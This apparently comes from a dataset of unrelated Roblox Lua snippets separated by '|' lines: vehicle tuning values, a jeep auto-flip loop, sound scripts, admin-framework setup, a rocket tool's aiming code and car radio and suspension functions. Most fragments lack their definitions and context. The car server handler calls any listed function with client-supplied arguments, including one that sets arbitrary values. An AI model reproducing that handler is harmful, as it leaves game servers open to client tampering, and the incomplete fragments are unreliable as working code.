"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoShiftType = "DCT" --[[
[Types]
"Rev" : Clutch engages fully once RPM reached (AC6C V1)
"DCT" : Clutch engages after a set time has passed (AC6.81T) ]]
Tune.AutoShiftVers = "Old" --[[
[Versions]
"New" : Shift from Reverse, Neutral, and Drive (AC6.81T)
"Old" : Auto shifts into R or D when stopped. (AC6.52S2) ]]
Tune.AutoUpThresh = -200 -- Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 -- Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Automatic: Revmatching
Tune.ShiftThrot = 100 -- Throttle level when shifting down to revmatch, 0 - 100%
--Automatic: DCT
Tune.ShiftUpTime = 0.25 -- Time required to shift into next gear, from a lower gear to a higher one.
Tune.ShiftDnTime = 0.125 -- Time required to shift into next gear, from a higher gear to a lower one.
--Gear Ratios
Tune.FinalDrive = 4
Tune.Ratios = {
--[[Reverse]] 5 ,
--[[Neutral]] 0 ,
--[[ 1 ]] 3.9 ,
--[[ 2 ]] 2.52 ,
--[[ 3 ]] 1.85 ,
--[[ 4 ]] 1.38 ,
--[[ 5 ]] 1.05 ,
--[[ 6 ]] .87 ,
--[[ 7 ]] .69 ,
}
Tune.FDMult = 1 -- Ratio multiplier (keep this at 1 if car is not struggling with torque)
|
--print("JeepScript: events connected.")
|
while true do
-- Every 15 seconds, poll if jeep has turned upside down. If true, then flip back upright.
if(upVectorPart.CFrame.lookVector.y <= 0.707) then
print("Vehicle is flipped. Flipping right side up...")
gyro.cframe = CFrame.new( Vector3.new(0,0,0), Vector3.new(0,1,0) )
gyro.maxTorque = Vector3.new(tiltForce, tiltForce, tiltForce)
wait(2)
gyro.maxTorque = Vector3.new(0,0,0)
end
wait(8)
end
|
-- List of UI layouts
|
local Layouts = {
EmptySelection = { 'SelectNote' };
Normal = { 'MaterialOption', 'TransparencyOption', 'ReflectanceOption' };
};
|
--Made by Superluck, Uploaded by FederalSignal_QCB.
--Made by Superluck, Uploaded by FederalSignal_QCB.
--Made by Superluck, Uploaded by FederalSignal_QCB.
|
s = script.Parent.Parent.Parent.Sound.Sound
s2 = script.Parent.Parent.Parent.Sound.Sound2
slowness = 0.006
script.Parent.Parent.Amp.Value = true
while true do
pitch = s.Pitch
if s.Pitch <= (script.MaxPitch.Value+0.01) then
s.Pitch = (s.Pitch + slowness)
s2.Pitch = s.Pitch*(12/10)
slowness = 0.045-(script.Parent.Parent.Parent.Sound.Sound.PlaybackSpeed*3.45/((script.MaxPitch.Value*25)+55))
else
wait(210)
end
if s.Pitch <= 0 then
s.Pitch = s.Pitch + slowness
s2.Pitch = s.Pitch*(12/10)
else
end
wait()
end
|
--service.Players = service.Wrap(service.Players)
--Folder = service.Wrap(Folder)
|
server.Folder = Folder
server.Deps = Folder.Dependencies;
server.CommandModules = Folder.Commands;
server.Client = Folder.Parent.Client;
server.Dependencies = Folder.Dependencies;
server.PluginsFolder = Folder.Plugins;
server.Service = service
|
-- Local Functions
|
local function OnActivation()
if Player.Character.Humanoid:GetState() == Enum.HumanoidStateType.Swimming then return end
if CanFire then
CanFire = false
local rocket = table.remove(Buffer, 1)
rocket.Rocket.Transparency = 0
Tool.FireRocket:FireServer(rocket)
local toMouse = (Mouse.Hit.p - Handle.Position).unit
local direction = toMouse * 5
rocket.PrimaryPart.CFrame = CFrame.new(Handle.Position, Handle.Position + direction) + direction
rocket.PrimaryPart.Velocity = direction * 40
RocketManager:BindRocketEvents(rocket)
wait(Configurations.ReloadTimeSeconds.Value)
CanFire = true
end
end
local function OnStorageAdded(child)
table.insert(Buffer, child)
end
local function SetupJoints()
if Player.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
return -- TODO: Make tracking compatible with R15
end
local torso = Player.Character:FindFirstChild("Torso")
Neck = torso.Neck
OldNeckC0 = Neck.C0
Shoulder = torso['Right Shoulder']
OldShoulderC0 = Shoulder.C0
end
local function Frame(mousePosition)
if Player.Character.Humanoid:GetState() == Enum.HumanoidStateType.Swimming then return end
local torso = Player.Character.HumanoidRootPart
local head = Player.Character.Head
local toMouse = (mousePosition - head.Position).unit
local angle = math.acos(toMouse:Dot(Vector3.new(0,1,0)))
local neckAngle = angle
-- Limit how much the head can tilt down. Too far and the head looks unnatural
if math.deg(neckAngle) > 110 then
neckAngle = math.rad(110)
end
Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.pi - neckAngle,math.pi,0)
-- Calculate horizontal rotation
local arm = Player.Character['Right Arm']
local fromArmPos = torso.Position + torso.CFrame:vectorToWorldSpace(Vector3.new(
torso.Size.X/2 + arm.Size.X/2, torso.Size.Y/2 - arm.Size.Z/2, 0))
local toMouseArm = ((mousePosition - fromArmPos) * Vector3.new(1,0,1)).unit
local look = (torso.CFrame.lookVector * Vector3.new(1,0,1)).unit
local lateralAngle = math.acos(toMouseArm:Dot(look))
-- Check for rogue math
if tostring(lateralAngle) == "-1.#IND" then
lateralAngle = 0
end
-- Handle case where character is sitting down
if Player.Character.Humanoid:GetState() == Enum.HumanoidStateType.Seated then
local cross = torso.CFrame.lookVector:Cross(toMouseArm)
if lateralAngle > math.pi/2 then
lateralAngle = math.pi/2
end
if cross.Y < 0 then
lateralAngle = -lateralAngle
end
end
-- Turn shoulder to point to mouse
Shoulder.C0 = CFrame.new(1,0.5,0) * CFrame.Angles(math.pi/2 - angle,math.pi/2 + lateralAngle,0)
-- If not sitting then aim torso laterally towards mouse
if Player.Character.Humanoid:GetState() ~= Enum.HumanoidStateType.Seated then
torso.CFrame = CFrame.new(torso.Position, torso.Position + (Vector3.new(
mousePosition.X, torso.Position.Y, mousePosition.Z)-torso.Position).unit)
end
end
local function MouseFrame()
Frame(Mouse.Hit.p)
end
local function OnEquip()
-- Setup joint variables
SetupJoints()
-- Replace mouse icon and store old
OldMouseIcon = Mouse.Icon
Mouse.Icon = 'rbxassetid://79658449'
Mouse.TargetFilter = Player.Character
if Player.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
AutoRotate = Player.Character.Humanoid.AutoRotate
Player.Character.Humanoid.AutoRotate = false
RunService:BindToRenderStep('RotateCharacter', Enum.RenderPriority.Input.Value, MouseFrame)
end
end
local function OnUnequip()
Mouse.Icon = OldMouseIcon
if Player.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
Neck.C0 = OldNeckC0
Shoulder.C0 = OldShoulderC0
Player.Character.Humanoid.AutoRotate = AutoRotate
RunService:UnbindFromRenderStep('RotateCharacter')
end
end
|
--- Counts the number of items in `_table`.
-- Useful since `__len` on table in Lua 5.2 returns just the array length.
-- @tparam table _table Table to count
-- @treturn number count
|
function Table.count(_table)
local count = 0
for _, _ in pairs(_table) do
count = count + 1
end
return count
end
|
--F.updateSound = function(Sound, Pitch, Volume)
-- if Sound then
-- if Pitch then
-- Sound.Pitch = Pitch
-- end
-- if Volume then
-- Sound.Volume = Volume
-- end
-- end
--end
|
F.updateWindows = function(Window, Toggle)
if script.Parent.Parent.Windows:findFirstChild(Window) then
script.Parent.Parent.Windows:findFirstChild(Window).Value = Toggle
end
end
F.volumedown = function(VolDown)
carSeat.Parent.Body.MP.Sound.Volume = carSeat.Parent.Body.MP.Sound.Volume - 1
end
F.volumeup = function(VolUp)
carSeat.Parent.Body.MP.Sound.Volume = carSeat.Parent.Body.MP.Sound.Volume + 1
end
F.fm = function(ok)
carSeat.Parent.Body.MP.Sound:Stop()
carSeat.Stations.mood.Value = ok
end
F.updateSong = function(id)
carSeat.Stations.mood.Value = 5
carSeat.Parent.Body.MP.Sound:Stop()
wait()
carSeat.Parent.Body.MP.Sound.SoundId = "rbxassetid://"..id
wait()
carSeat.Parent.Body.MP.Sound:Play()
end
F.pauseSong = function()
carSeat.Stations.mood.Value = 5
carSeat.Parent.Body.MP.Sound:Stop()
end
F.updateVolume = function(Vol)
carSeat.Parent.Body.MP.Sound.Volume = carSeat.Parent.Body.MP.Sound.Volume + Vol/5
end
F.updateValue = function(Val, Value)
if Val then
Val.Value = Value
end
end
F.Sport = function()
carSeat.Mode.Value = "Sport"
carSeat.Parent.Wheels.FL.Spring.FreeLength = 2.2
carSeat.Parent.Wheels.FR.Spring.FreeLength = 2.2
carSeat.Parent.Wheels.RL.Spring.FreeLength = 2.2
carSeat.Parent.Wheels.RR.Spring.FreeLength = 2.2
carSeat.EcoIdle.Value = 2
end
F.Comfort = function()
carSeat.Mode.Value = "Comfort"
carSeat.Parent.Wheels.FL.Spring.FreeLength = 2.8
carSeat.Parent.Wheels.FR.Spring.FreeLength = 2.8
carSeat.Parent.Wheels.RL.Spring.FreeLength = 2.8
carSeat.Parent.Wheels.RR.Spring.FreeLength = 2.8
carSeat.EcoIdle.Value = 1
end
F.Dynamic = function()
carSeat.Mode.Value = "Dynamic"
carSeat.Parent.Wheels.FL.Spring.FreeLength = 1.8
carSeat.Parent.Wheels.FR.Spring.FreeLength = 1.8
carSeat.Parent.Wheels.RL.Spring.FreeLength = 1.8
carSeat.Parent.Wheels.RR.Spring.FreeLength = 1.8
carSeat.EcoIdle.Value = 3
end
script.Parent.OnServerEvent:connect(function(Player, Func, ...)
if F[Func] then
F[Func](...)
end
end)
|
--// Player Events
|
game:GetService("RunService").Heartbeat:connect(function()
for _,v in pairs(game.Players:GetPlayers()) do
UpdateTag(v);
end;
end)
|
-- Do NOT use looping animations or it will break your character
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.